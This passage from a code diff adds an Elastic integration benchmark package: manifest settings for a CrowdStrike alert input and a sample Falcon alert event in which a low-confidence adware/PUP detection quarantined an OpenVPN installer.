+        title: HTTP Client Timeout
+        description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h.
+        multi: false
+        required: true
+        show_user: false
+        default: 30s
+      - name: query
+        type: text
+        title: FQL Query
+        description: This is an additional FQL query that may be included in requests to the API. You should not include any reference to the `timestamp` property. See the [FalconPy documentation](https://www.falconpy.io/Usage/Falcon-Query-Language.html) for details.
+        multi: false
+        required: false
+        show_user: false
+      - name: enable_request_tracer
+        type: bool
+        title: Enable request tracing
+        default: false
+        multi: false
+        required: false
+        show_user: false
+        description: >-
+          The request tracer logs requests and responses to the agent's local file-system for debugging configurations.
+          Enabling this request tracing compromises security and should only be used for debugging. Disabling the request
+          tracer will delete any stored traces.
+          See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_enable)
+          for details.
+      - name: tags
+        type: text
+        title: Tags
+        multi: true
+        required: true
+        show_user: false
+        default:
+          - forwarded
+          - crowdstrike-alert
+      - name: preserve_original_event
+        required: true
+        show_user: true
+        title: Preserve original event
+        description: Preserves a raw copy of the original event, added to the field `event.original`.
+        type: bool
+        multi: false
+        default: false
+      - name: preserve_duplicate_custom_fields
+        required: true
+        show_user: false
+        title: Preserve duplicate custom fields
+        description: Preserve crowdstrike.alert fields that were copied to Elastic Common Schema (ECS) fields.
+        type: bool
+        multi: false
+        default: false
+      - name: processors
+        type: yaml
+        title: Processors
+        multi: false
+        required: false
+        show_user: false
+        description: >-
+          Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json
new file mode 100644
index 0000000000..680f31dc1f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json
@@ -0,0 +1,364 @@
+{
+    "@timestamp": "2023-11-03T18:00:22.328Z",
+    "agent": {
+        "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530",
+        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
+        "name": "elastic-agent-43429",
+        "type": "filebeat",
+        "version": "8.18.0"
+    },
+    "crowdstrike": {
+        "alert": {
+            "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+            "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+            "alleged_filetype": "exe",
+            "cid": "92012896127c4a948236ba7601b886b0",
+            "cloud_indicator": false,
+            "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
+            "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "confidence": 10,
+            "context_timestamp": "2023-11-03T18:00:31.000Z",
+            "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
+            "crawl_edge_ids": {
+                "Sensor": [
+                    "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
+                    "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<WalY1K_h%QDBBF;_e7S!!*'!",
+                    "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
+                    "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
+                    "N6B%O'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbCuNjL#gW&=)E4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
+                    "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
+                    "N6CU&%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!",
+                    "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
+                    "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
+                    "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N"
+                ]
+            },
+            "crawl_vertex_ids": {
+                "Sensor": [
+                    "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                    "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
+                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
+                    "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
+                ]
+            },
+            "crawled_timestamp": "2023-11-03T19:00:23.985Z",
+            "created_timestamp": "2023-11-03T18:01:23.995Z",
+            "data_domains": [
+                "Endpoint"
+            ],
+            "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+            "device": {
+                "agent_load_flags": 0,
+                "agent_local_time": "2023-10-12T03:45:57.753Z",
+                "agent_version": "7.04.17605.0",
+                "bios_manufacturer": "ABC",
+                "bios_version": "F8CN42WW(V2.05)",
+                "cid": "92012896127c4a948236ba7601b886b0",
+                "config_id_base": "65994763",
+                "config_id_build": "17605",
+                "config_id_platform": 3,
+                "external_ip": "81.2.69.142",
+                "first_seen": "2023-04-07T09:36:36.000Z",
+                "groups": [
+                    "18704e21288243b58e4c76266d38caaf"
+                ],
+                "hostinfo": {
+                    "active_directory_dn_display": [
+                        "WinComputers",
+                        "WinComputers\\ABC"
+                    ],
+                    "domain": "ABC.LOCAL"
+                },
+                "hostname": "ABC709-1175",
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "last_seen": "2023-11-03T17:51:42.000Z",
+                "local_ip": "81.2.69.142",
+                "mac_address": "AB-21-48-61-05-B2",
+                "machine_domain": "ABC.LOCAL",
+                "major_version": "10",
+                "minor_version": "0",
+                "modified_timestamp": "2023-11-03T17:53:43.000Z",
+                "os_version": "Windows11",
+                "ou": [
+                    "ABC",
+                    "WinComputers"
+                ],
+                "platform_id": "0",
+                "platform_name": "Windows",
+                "product_type": "1",
+                "product_type_desc": "Workstation",
+                "site_name": "Default-First-Site-Name",
+                "status": "normal",
+                "system_manufacturer": "LENOVO",
+                "system_product_name": "20VE"
+            },
+            "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+            "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+            "grandparent_details": {
+                "cmdline": "C:\\Windows\\system32\\userinit.exe",
+                "filename": "userinit.exe",
+                "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                "local_process_id": "4328",
+                "md5": "b07f77fd3f9828b2c9d61f8a36609741",
+                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
+                "process_id": "392734873135",
+                "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                "timestamp": "2023-10-30T16:49:19.000Z",
+                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_name": "yuvraj.mahajan"
+            },
+            "has_script_or_module_ioc": true,
+            "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "ioc_context": [
+                {
+                    "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "ioc_source": "library_load",
+                    "ioc_type": "hash_sha256",
+                    "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "type": "module"
+                }
+            ],
+            "ioc_values": [
+                "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+            ],
+            "is_synthetic_quarantine_disposition": true,
+            "local_process_id": "17076",
+            "logon_domain": "ABSYS",
+            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "name": "PrewittPupAdwareSensorDetect-Lowest",
+            "objective": "FalconDetectionMethod",
+            "parent_details": {
+                "cmdline": "C:\\WINDOWS\\Explorer.EXE",
+                "filename": "explorer.exe",
+                "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                "local_process_id": "1040",
+                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                "process_id": "392736520876",
+                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                "timestamp": "2023-11-03T18:00:32.000Z",
+                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_name": "mohit.jha"
+            },
+            "parent_process_id": "392736520876",
+            "pattern_disposition": 2176,
+            "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
+            "pattern_disposition_details": {
+                "blocking_unsupported_or_disabled": false,
+                "bootup_safeguard_enabled": false,
+                "critical_process_disabled": false,
+                "detect": false,
+                "fs_operation_blocked": false,
+                "handle_operation_downgraded": false,
+                "inddet_mask": false,
+                "indicator": false,
+                "kill_action_failed": false,
+                "kill_parent": false,
+                "kill_process": false,
+                "kill_subprocess": false,
+                "operation_blocked": false,
+                "policy_disabled": false,
+                "process_blocked": true,
+                "quarantine_file": true,
+                "quarantine_machine": false,
+                "registry_operation_blocked": false,
+                "rooting": false,
+                "sensor_only": false,
+                "suspend_parent": false,
+                "suspend_process": false
+            },
+            "pattern_id": "5761",
+            "platform": "Windows",
+            "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
+            "process_end_time": "2023-11-03T18:00:21.000Z",
+            "process_id": "399748687993",
+            "process_start_time": "2023-11-03T18:00:13.000Z",
+            "product": "epp",
+            "quarantined_files": [
+                {
+                    "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "state": "quarantined"
+                }
+            ],
+            "scenario": "NGAV",
+            "severity": 30,
+            "severity_name": "low",
+            "sha1": "0000000000000000000000000000000000000000",
+            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+            "show_in_ui": true,
+            "source_products": [
+                "FalconInsight"
+            ],
+            "source_vendors": [
+                "CrowdStrike"
+            ],
+            "status": "new",
+            "tactic": "MachineLearning",
+            "tactic_id": "CSTA0004",
+            "technique": "Adware/PUP",
+            "technique_id": "CST0000",
+            "timestamp": "2023-11-03T18:00:22.328Z",
+            "tree_id": "1931778",
+            "tree_root": "38687993",
+            "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
+            "type": "ldt",
+            "updated_timestamp": "2023-11-03T19:00:23.985Z",
+            "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "user_name": "mohit.jha"
+        }
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.alert",
+        "namespace": "96581",
+        "type": "logs"
+    },
+    "device": {
+        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+        "manufacturer": "LENOVO",
+        "model": {
+            "name": "20VE"
+        }
+    },
+    "ecs": {
+        "version": "8.17.0"
+    },
+    "elastic_agent": {
+        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
+        "snapshot": true,
+        "version": "8.18.0"
+    },
+    "event": {
+        "agent_id_status": "verified",
+        "category": [
+            "process"
+        ],
+        "dataset": "crowdstrike.alert",
+        "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+        "ingested": "2025-10-09T10:20:29Z",
+        "kind": "alert",
+        "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b